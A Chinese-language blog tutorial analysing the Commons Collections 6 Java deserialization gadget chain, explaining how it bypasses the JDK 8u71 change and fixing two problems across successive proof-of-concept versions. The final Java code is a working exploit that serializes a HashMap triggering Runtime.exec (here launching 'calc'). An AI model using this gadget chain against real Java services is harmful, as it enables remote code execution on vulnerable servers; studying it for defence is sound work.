持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第11天,点击查看活动详情
前言
接上篇,CC1的JDK版本需要低于8u71,AnnotationInvocationHandler类的readObject()方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6
分析
cc1的LazyMap链:readObject()->invoker()->get()->transform(),而在8u71之后,readObject发生了变化,所以不能再用之前的方式调用get方法,这时又找到了另外一条链来绕过该版本的限制
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
通过TiedMapEntry.getValue()调用get(),其中key的值,可以通过TiedMapEntry类的构造方法获取,我们要调用的是LazyMap的get(),所以就需要通过构造器来构造map=Lazymap
先构造一下链,前边跟8u71前是一样的,为了满足map=LazyMap,需要实例化一个TiedMapEntry,由于我们用的是map所以这里的map传的是outerMap也就相当于传入LazyMap,这样经过构造方法后,map.get就变为了LazyMap.get,而key用不到所以随便传个就行
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
}
}
之后再看哪里调用了getValue(),于是在本类中找到了hashCode()方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
接着找何处调用了hashCode(),审过urldns链应该就很清楚了,在HashMap类中的hash方法调用了key.hashCode()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
接着就是何处调用了hash(),HashMap类中自己重写了readObject()方法,在readObject中调用了hash
return putVal(hash(key), key, value, false, true);
而我们想调用TiedMapEntry.hashCode,所以我们要给key赋值TiedMapEntry,value的话就随意了,所以就需要通过put传值
hashMap.put(tiedMapEntry,"Sentiemnt");
至此这条链就结束了,顺序也跟ysoserial的一样
所以poc为
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
}
}
问题一
在运行后发现,还没有进行序列化反序列化 就弹出了计算器,这是因为我们在put修改值得同时,其实就已经调用了hash方法接着调用hashCode最终执行了命令
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
所以为了不让他执行,可以将他后边的transformer改成其他无法正产调用的内容,经过put后在改回来即:
Map outerMap == LazyMap.decorate(map, chainedTransformer);
改为
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
之后就是在调用put后改回来,我们调用这条语句主要是,修改factroy的值
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
而factory是protect类型的,所以就要通过反射爆破来修改
protected final Transformer factory;
当前poc
package CommonsCollections6;
import com.sun.corba.se.impl.orbutil.ObjectUtility;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,chainedTransformer);
serialize(hashMap);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
问题二
运行后仍无回显,回去看了一遍,这里key已经有值了,所以绕过了if从而绕过了transform()
所以如果想进入if,就需要把if的key值去掉
outerMap.remove("Sentiment1");
最终poc
package CommonsCollections6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Sentiemnt2");
outerMap.remove("Sentiment1");
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,chainedTransformer);
serialize(hashMap);
unserialize("1.txt");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}